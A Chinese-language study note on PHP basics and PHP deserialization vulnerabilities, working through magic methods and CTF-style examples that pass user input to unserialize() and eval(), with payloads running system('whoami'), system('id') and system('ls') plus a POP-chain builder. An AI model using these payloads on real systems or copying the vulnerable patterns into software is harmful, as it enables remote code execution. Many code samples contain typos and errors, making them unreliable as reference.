PHP以及反序列化漏洞学习
参见B站视频:
https://www.bilibili.com/video/BV1Yb411v7nK/
https://www.bilibili.com/video/BV1R24y1r71C/
简介
概念
运行在服务器的脚本语言
- 超文本预处理器
- 服务端的脚本语言
- 可以和 HTML 无缝对接
- 文件名以「.php」结尾
工作流程
- 客户端发送一个请求
- 服务器运行 PHP
- 查询数据库(如果需要) / 加载其他文件(如果需要)
- 返回请求结果
特点
- 容易学习
- 免费开源
- 兼容性高
- 跨平台
- 灵活
能做什么
- 创建动态页面
- 与服务器上的文件进行交互
- 处理表单事件
- 发送或接受 Cookies
- 与数据库进行交互
编写语法
文件头
<?php // 文件头
echo 'Hello World!'
?>//文件尾
注释
<?php
//单行注释
#单行注释
/*
多行注释
*/
?>
变量
<?php
#变量 variables:
/*
- 前缀是"$"
- 字母/下划线开头
- 大小写敏感
*/
$_output = "Hello World!";
echo $_output // echo 函数回显
?>
数据类型
<?php
/*
-String
-Integer
-Float
-Boolean
-Array
-Object
-Null
-Resource
*/
$_output = "Hello";
$number = 5;
$float = 5.5;
$bool = false;
?>
嵌套 html
<h1><?php
echo 'Hello World!'
?></h1>
数字相加
<?php
#数字相加用 「+」
$num1 = 7;
$num2 = 12;
$sum = $num1 + $num2;
echo $sum;#19
?>
字符串
<?php
#字符串拼接用 「.」
$string1 = "Hello";
$string2 = "World";
$greeting = $string1 . " " . $string2;
echo $greeting;#Hello World
?>
单引号和双引号
<?php
/*
单引号所有内容是字符串
双引号变量可解析
*/
$string1 = "Hello";
$string2 = "World";
$greeting1 = '$string1 $string2';
$greeting2 = "$string1 $string2";
echo $greeting1;#$string1 $string2
echo $greeting2;#Hello World
?>
转义字符
<?php
$string1 = "They're Here";
$string2 = 'They\'re Here';
?>
常量
<?php
#常量名要求大写
define('GREETING','Hello Everyone!');
#后面加true可使用小写
define('GREETING','Hello Everyone!',true);
?>
if switch
<?php
#执行一行
$num = 2;
if($num <= 4)
echo "Bingo";
#执行多行
$num = 2;
if($num <= 4){
echo "Bingo";
echo "Bingo!BINGO!";
}
#== 和 ===
$num = '4';
if($num == 4)#值相等,为T
echo "Bingo";
$num = '4';
if($num === 4)#值相等但是类型不等,为F
echo "Bingo";
#if else
$num = 3;
if($num == 4)
echo "4Bingo";
else if($num == 5)
echo "5Bingo";
else
echo "NO!";
#if 嵌套
$num = 6;
if($num > 4){
if($num < 10){
echo "4<num<10";
}else{
echo "num>=10";
}
}else if ($num == 4){
echo "num=4"
}
#逻辑运算符
/*
AND &&
OR ||
XOR
逻辑短路:左边满足右边不执行
*/
$num = 6;
if($num > 4 AND $num < 10){#($num > 4 && $num < 10)也可
echo "4<num<10";
}
$num = 6;
if($num > 4 OR $num < 10){#($num > 4 || $num < 10)也可
echo "大于4或小于10";
}
$num = 6;
if($num > 4 XOR $num < 10){
echo "只能有一真才真";
}
#switch(不加break会穿透)
$favColor = "black";
switch($favColor){
case 'red'
echo "RED!"
break;
case 'blue'
echo "BLUE!"
break;
case 'black'
echo "BLACK!"
break;
default:
echo "NO!"
break;
}
?>
数组
<?php
#下标数组
$people = array("Kevin","Henry","Bucky");
$cars = ["Honda","Toyota","Ford"];
echo $people[0];
echo $cars[2];
#添加数组
$cars[3] = "Bence";
$cars[] = "BMW";
#计算个数
echo count($cars);
#输出数组
print_r($cars);
#万能输出
var_dump($cars);
#-----------------------------------------------
#关联数组
$member = array("Subaru" => 486,"Nina" => 27);
echo $member["Subaru"];
$ids = [27 => "nina",486 => "subaru"];
echo $ids[27];
#添加关联数组内容
$member["Kita"] = 193;
#输出数组
print_r($member);
#万能输出
var_dump($member);
#-----------------------------------------------
#多位数组
$ecars = array(
array("Honda",20,10),
array("Toyota",10,15),
array("Ford",23,13)
);
echo $cars[2] [2];
?>
循环
<?php
#for 循环:知道循环多少次
#@pamrams - init,condition,inc
for($i = 0;$i < 10;$i++){
echo $i;
echo "<br>";
}
#while 循环:不知道循环多少次
#@params - condition
$i = 0;
while($i < 10){
echo $i;
echo "<br>";
$i++;
}
#do-while 循环
#@params - conditon
$i = 0;
do{
echo $i;
echo "<br>";
$i++;
}
while($i < 10);
#foreach循环 下标Array
$people = array("Henry","Elyse","Bucky");
for($i = 0;$i < count($people);$i++){
echo $people[$i]."<br>";
}
#等同于
foreach($people as $person){
echo $peson;
echo "<br>";
}
#关联数组
$people = [
"Henry" => "henry@gmail.com",
"Elyse" => "elyse@gmail.com",
"Bucky" => "bucky@gmail.com"
];
foreach($people as $person => $email){
echo $person.":">$email;
echo "<br>";
}
?>
函数
定义函数
<?php
#定义函数
function simpleFunction(){
echo "Hello World!";
}
#调用参数
simpleFunction();
#带参函数
function sayHello($name = "Henry"){#默认参数
echo "Hello $name<br>";
}
sayHello("Joe");
sayHello();
#有参有返回值
function addNumbers($num1,$num2){
return $num1+$num2;
}
echo addNumbers(2,3);
#函数传引用
$myNum = 10;
function addFive($num){
$num += 5;
}
function addTen(&$num){#引用
$num += 10;
}
addFive($myNum);
echo "value:$myNum<br>";#10
addTin($myNum);
echo "Value:$myNum<br>";#10+10
?>
字符串函数
<?php
#substr
#返回字符串的一部分
$output = substr("Hello",1,3);#从第一位开始到第三位结束
echo $output;#ell
$output = substr("Hello",-2);#取最后二位
echo $output;#lo
#strlen
#返回字符串长度
$output = strlen("Hello World");
echo $output;#12
#strpos
#查找字符串第一次出现的位置
$output = strpos("Hello World","o");
echo $output;#4
#strrpos
#查找字符串最后一次出现的位置
$output = strrpos("Hello World","o");
echo $output;#7
#trim
#去除首尾空格
$text = "Hello World ";
$trimed = trim($text);
#strtoupper
#字符串转为大写
$output = strtoupper("hello world");
echo $output;#HELLO WORLD
#strtolower
#字符串转为小写
$output = strtoplower("HELLO WOrld")
echo $output;#hello world
#ucwords
#每个单词的首字母大写
$output = strtoupper("hello world");
echo $output;#Hello World
#str_replace()
#替换所匹配的内容
$text = "Hello World";
$output = str_replace("World","Everyone",$text);
echo $output;#Hello Everyone
#is_string
#判断是不是字符串
$var1 = 44;
$var2 = '44';
$output = is_string($var1)
echo $output;#0
$output = is_string($var2)
echo $output;#1
#gzcompress
#压缩字符串
$string = "sfaikuvjkfsdvbkjlfeiu"
$compressed = gzcompress($string);
echo $compressed;#压缩后的乱码
#gzuncompress
#解压字符串
original = gzunpress($compresed);
echo $original;
?>
数组函数
<?php
#创建数组
$array = array();
array_push($array,"hello");
#添加内容
array_push($array,"hello");#往最后面放
array_unshift($array,"world");#往最前面放
#删除内容
array_pop($array);#删除结尾的
array_shift($array);#删除开头的
#数组排序
array = [1,5,2,3,8,7,9,6,4];
sort($array);
#数组转为字符串
$array = array("hello","world");
$string = implode(",",$array);
echo $string;
#字符串转换为数组
$array = explode(",",$string);
?>
文件引入
DRY原则:Don’t Repeat Yourself
引用前:
/home.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Home</title>
</head>
<body>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="about.php">About</a></li>
<li><a href="contact.php">Contact</a></li>
</ul>
<h1> Home </h1>
<footer>
<p>website © 2024</p>
</footer>
</body>
</html>
/about.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Home</title>
</head>
<body>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="about.php">About</a></li>
<li><a href="contact.php">Contact</a></li>
</ul>
<h1> About </h1>
<footer>
<p>website © 2024</p>
</footer>
</body>
</html>
/contact.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Home</title>
</head>
<body>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="about.php">About</a></li>
<li><a href="contact.php">Contact</a></li>
</ul>
<h1> About </h1>
<footer>
<p>website © 2024</p>
</footer>
</body>
</html>
引用后:
/inc/header.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Home</title>
</head>
<body>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="about.php">About</a></li>
<li><a href="contact.php">Contact</a></li>
</ul>
/inc/footer.php
<footer>
<p>website © 2024</p>
</footer>
</body>
</html>
/home.php
#include引用:即使报错也继续解析代码(可加括号)
<?php include "inc/header.php" ?>
<h1> Home </h1>
<?php include "inc/footer.php" ?>
/about.php
#require引用:一旦报错就不执行下面代码(可加括号)
<?php require "inc/header.php" ?>
<h1> About </h1>
<?php require "inc/footer.php" ?>
/contact.php
#include_once/require_once:只引入一次,多引入不起效果
<?php include_once("inc/header.php") ?>
<?php include_once("inc/header.php") ?>
<?php include_once("inc/header.php") ?>
<h1> Contact </h1>
<?php require_once "inc/footer.php" ?>
<?php require_once "inc/footer.php" ?>
<?php require_once "inc/footer.php" ?>
Shorthand 语法糖
<?php
$loggedIn = ture;
#if:
if($loggedIn){
echo "You're logged in";
}else{
echo "You're NOT logged in";
}
#三目运算符
echo (loggedIn) ? "You're logged in" : "You're NOT logged in";
# 三目运算符嵌套使用
$age =7;
$score = 12;
echo "你的分数是:".($score>10?($age>10 ? "中等成绩":"优等成绩"):($age > 10 ? "差等成绩":"中等成绩"));
?>
与 html 嵌套
<?php$loggedIn = ture;?>
<div>
<?php if($loggedIn){ ?>
<h1>Welcome!</h1>
<?php }else{ ?>
<h1>Hello Everyone!</h1>
<?php } ?>
</div>
<!-- 更美观的写法 -->
<div>
<?php if($loggedIn):?>
<h1>Welcome!</h1>
<?php else: ?>
<h1>Hello Everyone!</h1>
<?php endif; ?>
</div>
<!-- for 循环语法糖 -->
<div>
<?php for($i=0;$i< 10;$i++):?>
<li><?php echo $i."<br>";?></li>
<?php endfor;?>
</div>
<!-- foreach 循环语法糖 -->
<?php$arr = ["Henry","Bucky","Emily"];?>
<div>
<?php foreach($arr as $val): ?>
<?php echo $val."<br>";?>
<?php endforeach;?>
</div>
超全局对象 $_SERVER
$_SERVER — 服务器和执行环境信息 PHP文档
/server-info.php
<?php
$server=[#关联数组_服务器信息
"Host Server Name"=>$_SERVER["SERVER_NAME"],
"Server Software" => $_SERVER["SERVER_SOFTWARE"],
"Document Root" => $_SERVER["DOCUMENT_ROOT"],
"Http Host" => $_SERVER["HTTP_HOST"],
"Script Name" => $_SERVER["SCRIPT_NAME"]
"Absolute Path" => $_SERVER["SCRIPT_FILENAME"]
"Current Page" => $_SERVER["PHP_SELF"]
];
#echo $server["Current Page"];
$client = [#关联数组客户端信息
"Client System Info" => $_SERVER["HTTP_USER_AGENT"],
"Client IP" =>$_SERVER["REMOTE_ADDR"],
"Remote Port"=> $_SERVER["REMOTE_PORT"]
];
#echo $client['Remote Port"];
?>
/index.php
<?php include "server-info.php" ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>服务器与客户端的信息</title>
<link rel="stylesheet" href="https://bootswatch.com/cosmo/bootstrap.min.css">
</head>
<body>
<div class="container">
<h1>服务器端的配置信息</h1>
<?php if($server): ?>
<ul class="list-group">
<?php foreach($server as $key => $value): ?>
<li class="list-group-item">
<strong><?php echo $key; ?>:</strong>
<?php echo $value; ?>
</li>
<?php endforeach;?>
</ul>
<?php endif; ?>
</div>
<h1>客户端的配置信息</h1>
<?php if($client): ?>
<ul class="list-group">
<?php foreach($client as $key => $value): ?>
<li class="list-group-item">
<strong><?php echo $key; ?>:</strong>
<?php echo $value; ?>
</li>
<?php endforeach;?>
</ul>
<?php endif; ?>
</body>
</html>
GET&POST 请求
GET放入URL
POST放入HTTP header里
$_GET 和 $_POST 类似上面 $_SERVER
/get_post.php
<?php
/*#GET
if(isset($_GET["name"])){#判断是否GET传入name
echo $_GET["name"];
$email = $_GET["email"];
print_r($email);
}
#POST
if(isset($_POST["name"])){#判断是否GET传入name
echo $_POST["name"];
$email = $_POST["email";]
print_r($email);
}*/
#REQUEST 获取GET或者POST(需要注释上面)
if(isset($_REQUEST["email"])){#判断是否GET传入name
echo $_REQUEST["email"];
$name = $_REQUEST["name";]
print_r($name);
echo $_SERVER["QUERY_STRING"];#获取GET传入的值("?"后面的)
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>My Website</title>
</head>
<body>
<!--GET提交到当前php-->
<form method="GET" action="get_post.php">
<div>
<label>名字</label>
<input type="text" name="name">
</div>
<div>
<label>邮箱</label>
<input type="text" name="email">
</div>
<input type="submit" value="确认">
</form>
<!--前端传入 后台存储 返回前端-->
<ul>
<li><a href="get_post.php?name=Henry">Henry</a></li>
<li><a href="get_post.php?name=Bucky">Bucky</a></li>
</ul>
<h1>
<?php echo"我的名字是:{$name}"?>
</h1>
</body>
</html>
过滤器函数
<?php
#FILTER_VALIDATE_BOOLEAN
#FILTER_VALIDATE_EMAIL
#FILTER_VALIDATE_FLOAT
#FILTER_VALIDATE_INT
#FILTER_VALIDATE_IP
#FILTER_VALIDATE_REGEXP
#FILTER_VALIDATE_URL
#FILTER_SANITIZE_EMAIL
#FILTER_SANITIZE_ENCODED
#FILTER_SANITIZE_NUMBER_FLOAT
#FILTER_SANITIZE_NUMBER_INT
#FILTER_SANITIZE_SPECIAL_CHARS
#FILTER_SANITIZE_STRING
#FILTER_SANITIZE_URL
/*
#检查post过来的数据
if(filter_has_var(INPUT_POST,'data')){#是否有这样的变量,type如果是post用INPUT_POST
echo "data found";
}else{
echo "No data";
}
*/
if(isset($_POST["data"])){
$email = $_POST["data"];
#干掉不合法字符
$email = filter_var($email,FILTER_SANITIZE_EMAIL);
echo $email;
#验证是否为邮箱
if(filter_input(INPUT_POST,'data',FILTER_VALIDATE_EMAIL)){
echo "邮箱合法";
}else{
echo "邮箱非法";
}
#VALIDATE验证
if(filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "邮箱合法";
}else{
echo "邮箱非法";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>过滤器函数</title>
</head>
<body>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
<input type="text" name="data">
<button type="submit">submit</button>
</form>
</body>
</html>
Session 存储
Session 存储在服务器上
/page1.php
<?php
if(isset($_POST{"submit"})){
$name = $_POST["name"];
$email = $_POST["email"];
#存储到session里
session_start();#如果不执行此方法,不能使用session
$_SESSION["name"] = $name;
$_SESSION["email"] = $email;
header("Location: page2.php");#跳转
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PHP SESSION</title>
</head>
<body>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
<input type="text" name="name" placeholder="Enter Name">
<input type="text" name="email" placeholder="Enter Email">
<input type="sumbit" name="submit" value="Submit">
</form>
</body>
</html>
/page2.php
<?php
#获取到session
session_start();#
$name = $_SESSION["name"];
$email = $_SESSION["email"];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page2</title>
</head>
<body>
<div>你的名字是:<?php echo $name; ?></div>
<div>你的邮箱是:<?php echo $email; ?> </div>
</body>
</html>
/page3.php
<?php
#清除session
session_start();
unset($_SESSION["name"]);#清除name
session_destroy();#清除所有
$name = isset($_SESSION["name"]) ? $_SESSION["name"] : '';#消除报错,无则返回空
$email = $_SESSION["email"];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page2</title>
</head>
<body>
<div>你的名字是:<?php echo $name; ?></div>
<div>你的邮箱是:<?php echo $email; ?> </div>
</body>
</html>
}
?>
Cookie 存储
/page1.php
<?php
if(isset($_POST{"submit"})){
$username = $_POST["username"];
setcookie("username",$usename,time() + 3600)#名字,变量,过期时间(当前时间+1小时)
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PHP Cookies</title>
</head>
<body>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
<input type="text" name="username" placeholder="Enter Name">
<input type="sumbit" name="submit" value="Submit">
</form>
</body>
</html>
/page2.php
<?php
#修改
setcookie("username","Henry",time() + (86400 * 30))
#删除(过期时间)
setcookie("username","Henry",time() +- 3600)
# 判断有几个cookie
if(count($COOKIE)>0){
echo "一共有".count($_COOKIE)."个cookies";
}else{
echo "没有任何的cookies";
}
#查询
if(isset($_COOKIE{"submit"})){#查询
echo "Username".$_COOKIE["username"]." 存在";
}else{
echo "username不存在";
?>
面向对象
面向过程
面向过程是一种以“整体时间”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,再一步步的具体步骤中按照顺序调用函数
面向对象
面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成哥哥“对象”,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象
类
类是定义了一件事物的抽象特征,它将数据的形式以及这些数据上的操作封装在一起
对象
对象是具有类类型的变量,是对类的实例,内部构成:成员变量(属性)+ 成员函数(方法)
成员变量
成员变量是定义在类内部的变量,变量的只对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可成为对象的属性
成员函数
成员函数定义在类的内部,可用于访问对象的数据
继承
是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。在定义和实现一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容
<?php
#类
#对象
/*
public:访问场景
类的外部可以访问
类的内部可以访问
类的子类可以访问
private:访问场景
类的内部可以访问
protected:访问场景
类的内部可以访问
类的子类可以访问
*/
#创建一个类
class Person{
#属性 <名词>
public $name = "Nina";#外部,内部,子类都可
private $email = 22227777@qq.com;#只能在类的花括号里使用
protected $age = 18;#花括号里,子类
#方法 <动词>
public function setEmail($email){
$this->email = $email;#this是实例化的对象
}
public function getEmail(){
return $this->email;
}
#构造函数:自执行函数——对象实例化时执行
public function __construct($name,$email){
$this->name = $name;
$this->email = $email;
}
#析构函数:自执行函数——对象销毁时执行
public function __destruct(){
echo __CLASS__."被销毁了";#当前class变量
}
}
#实例化对象
$person1 = new Person("Henry","123123123@123.com");
$person1->name = "Henry";
echo $person1->name;#调用不加$
echo $persion1->getEmail();
$person2 = new Person("Bucky","123123@123.com");
echo $person2->name;
echo $persion2->getEmail();
#类的继承
class Customers extends Person{
private $salary = "3000";
public function setSalary($salary){
$this->salary = $salary;
}
public function getSalary(){
return $this->salary;
}
#构造函数
public function __construct($name,$email,$salary){
#调用父级构造函数
parent::__construct($name,$email);
$this->salary = $salary;
}
}
$customer1 = new Customers("henry","Henry@gmail.com","10000");
echo $customer1->getName();
?>
修改数据库
<?php
#链接数据库
$mysqli = new mysqli("localhost","root","","people");#主机名,用户名,密码,要链接的数据库(mysql-user里有)
#判断数据库是否连接成功
id($mysql->connect_errno){#Error Number
#非0就为连接失败
die($mysql->connect_error);
}
#设定编码格式
$mysqli->query(
#运行sql语句
$mysqli->query("INSERT INTO 'customers'('id','firstName','lastName','email','address','city','state')VALUES (NULL,'li','four','123123@qq.com','广东深圳','广东','深圳')")
#判断是否插入成功
if($result){
echo "插入成功";
}else{
echo "插入失败";
}
$mysqli->close();
?>
序列化
序列化是讲对象的状态信息(属性)转化为可以存储或传输的形式。将或者数组转化为可存储/传输的字符串
注意:冒号分割,分号结束
一般活用echo urlencode()、urldecode()
<?php
class TEST {
public $data;
public $data2 = "dazzhuang";
private $pass;
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$number = 34;#i:34; --i+值(小数是d+值)
$str = 'user';#s:4:"user"; --s+长度(分割字符串与代码)+字符串
$bool = true;#b:1; --b+1真/0假
$null = NULL;#$N; --N
$arr = array('a' => 10, 'b' => 200);#a:2:{s:1:"a";i:10;s:1:"b";i:200;} --数组名+内容数量+{i:编号+值名字长度;+……}
#序列化对象,不可序列化类,只序列化成员变量,不序列化函数
$test = new TEST('uu', true);
#O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"0TESTpass0";b:1;}
#O(Object)+类名长度+类名+变量数量:{s:成员属性名字长度;+值名字长度+……}
#私有属性会在前面加上%00当前类名%00(空字符也算长度)
#受保护的属性会在前面加上%00*%00
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
#O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>
反序列化
反序列化之后的内容是一个对象
反序列化生成的对象里的值,反序列化里的值
反序列化不触发类的成员方法,需要调用方法后才触发
<?php
class test {
public $a = 'benben';
protected $b = 666;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);
?>
反序列化漏洞
成因
反序列化过程中,unserialize()接收的值(字符串)可控,
通过更改这个值(字符串)得到所需要的代码
通过调用方法,触发代码执行。
魔术方法
一个预定义好的。在特定情况下自动触发的行为方法
魔术方法在特定条件下自动调用相关方法,最终导致触发代码
相关机制:出发时机、功能、参数、返回值
触发前提
魔术方法所在的类(或对象)被调用
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
未调用fast
$b = 'O:3:"sec":1:{s:6:"benben";N;}';
调用了fast
$b = 'O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}';
__construct()和__destruct()
__construct()构造函数
在实例化一个对象的时候,首先会去自动执行的一个方法
-
触发时机:实例化对象
-
功能:提前清理不必要内容
-
参数:非必要
-
返回值:——
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");#创建,触发
$ser = serialize($test);#序列化,不触发
unserialize($ser);#反序列化,不触发
?>
__destruct()析构函数
在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
-
触发时机:对象引用完成或对象被销毁
-
功能:——
-
参数:——
-
返回值:——
<?php
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");#实例化结束后代码运行完全销毁,触发
$ser = serialize($test);#序列化,不触发
unserialize($ser);#反序列化,触发
?>
例题:
<?php
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>
解析:unserialize()触发__destruct(),__destruct()执行eval(),eval()触发代码
传入:
?benben=O:4:"user":1:{s:3:"cmd";s:17:"system("whoami");";}
__sleep()和__wakeup()
__sleep()函数
序列化serialize()函数回检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被调用,然后才执行序列化操作
此功能可以用于清空对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
-
触发时机:序列化serialize()之前
-
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
-
参数:成员属性
-
返回值:需要被序列化存储的成员属性
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');#只返回username, nickname
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
__wakeup()函数
unserialize()会检査是否存在一个__wakeup()方法。如果存在则会先调用__wakeup()方法,预先准备对象需要的资源预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库,连接或执行其他初始化操作。
-
触发时机:反序列化unserialize()之前
-
功能:——
-
参数:——
-
返回值:——
-
对比:wakeup()在反序列化unserialize()之前,destruct()在反序列化unserialize()之后
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));#先执行__wakeup赋值password,最后会输出password
?>
例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>
传入
?benben=O:4:"User":1:{s:8:"username";S:2:"id";}
__toString()和__invoke()
__toString()函数
表达方式错误导致魔术方法触发,常用于构造POP链接
-
触发时机:把对象当成字符串调用
-
功能:——
-
参数:——
-
返回值:——
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);#正常输出
echo "<br />";
echo $test;#对象当成字符串输出,触发
?>
__invoke()函数
格式表达错误导致魔术方法触发
- 触发时机:把对象当成函数调用
- 功能:——
- 参数:——
- 返回值:——
<?php
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;#正常输出,不触发
echo "<br />";
echo $test() ->benben;#对象当做函数调用,触发
?>
错误调用相关魔术方法
__call()函数
- 触发时机:调用一个不存在的方法
- 功能:——
- 参数:2个参数,传参arg1,arg2
- 返回值:调用的不存在的方法的名称和参数
<?php
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');#不存在,触发并传参callxxx,a
?>
__callStatic()函数
- 触发时机:静态调用或调用常量的时候使用的方法不存在
- 功能:——
- 参数:2个参数,传参arg1,arg2
- 返回值:调用的不存在的方法的名称和参数
<?php
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');#不存在,触发并传参callxxx,a
?>
__get()函数
- 触发时机:调用的成员属性不存在
- 功能:——
- 参数:传参$arg1
- 返回值:不存在的成员属性的名称
<?php
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;#不存在,触发并传参var2
?>
__set()函数
- 触发时机:给不存在的成员赋值
- 功能:——
- 参数:2个参数,传参arg1,arg2
- 返回值:不存在的成员属性的名称和赋的值
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;#不存在,触发并传参var2,1
?>
__isset()函数
- 触发时机:对不可访问(不可读或者不存在)的属性使用isset()或empty()时,__isset()会被调用
- 功能:——
- 参数:传参$arg1
- 返回值:不存在的成员属性的名称
<?php
error_reporting(0);
class User {
private $var;#不可读
public function __isset($arg1)
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);#不可读,触发并传参var
?>
__unset()函数
- 触发时机:对不可访问(不可读或者不存在)的属性使用unset()会被调用
- 功能:——
- 参数:传参$arg1
- 返回值:不存在的成员属性的名称
<?php
error_reporting(0);
class User {
private $var;#不可读
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);#不可读,触发并传参var
?>
__clone()函数
- 触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
- 功能:——
- 参数:——
- 返回值:——
<?php
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)#触发
?>
总结
__construct() | __destruct() | __sleep() | __wakeup() | __toString() | __invoke() | __clone() | |
---|---|---|---|---|---|---|---|
触发时机 | 实例化对象 | 对象引用完成,或对象被销毁反序列化之后 | 序列化serialize()之前 | 反序列化unserialize()之前 | 把对象被当成字符串调用(使用echo或者print) | 把对象当成函数调用 | 当使用 clone关键字拷贝完成一个对象 |
功能 | 提前清理不必要内容 | 对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。 | |||||
参数 | |||||||
返回值 | 需要被序列化存储的成员属性 |
__call() | __callStatic() | __get() | __set() | __isset() | __unset() | |
---|---|---|---|---|---|---|
触发时机 | 调用一个不存在的方法 | 静态调用不存在的方法 | 调用的成员属性不存在 | 给不存在的成员属性赋值 | 对不可访问属性使用 isset()或 empty() | 对不可访问属性使用 unset() |
功能 | ||||||
参数 | arg1,arg2 | arg1,arg2 | $arg1 | arg1,arg2 | $arg1 | $arg1 |
返回值 | 调用的不存在的方法的名称和参数 | 调用的不存在的方法的名称和参数 | 不存在的成员属性的名称 | 不存在的成员属性的名称和赋的值 | 不存在的成员属性的名称 | 不存在的成员属性的名称 |
例题
一
<?php
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];#benben为对象序列化后的字符串
$b = unserialize($get);#反序列化后赋值给b
$b->displayVar() ;#调用方法触发可控代码
?>
传入
benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}
二
反推法
- 关联点:如何让$test调用evil里的成员方法action()
- 解决思路:给$test赋值为对象 test=new evil()
<?php
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();#这个使得触发nomal的action()
}
public function __destruct(){#unserialize执行
$this->test->action();#3.触发$test的action()
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;#2.eval调用test
public function action(){
eval($this->test2);#1.可利用漏洞点在eval()
}
}
unserialize($_GET['test']);
?>
构造序列化
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
}
class evil{
var $test2 = "system('ls');";#1.构造执行语句
}
$a = new index();
echo urlencode(serialize($a));
?>
POP链构造
POP链
在反序列化中我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法交“面向属性编程”,即POP(Proiperty Oriented Programming)
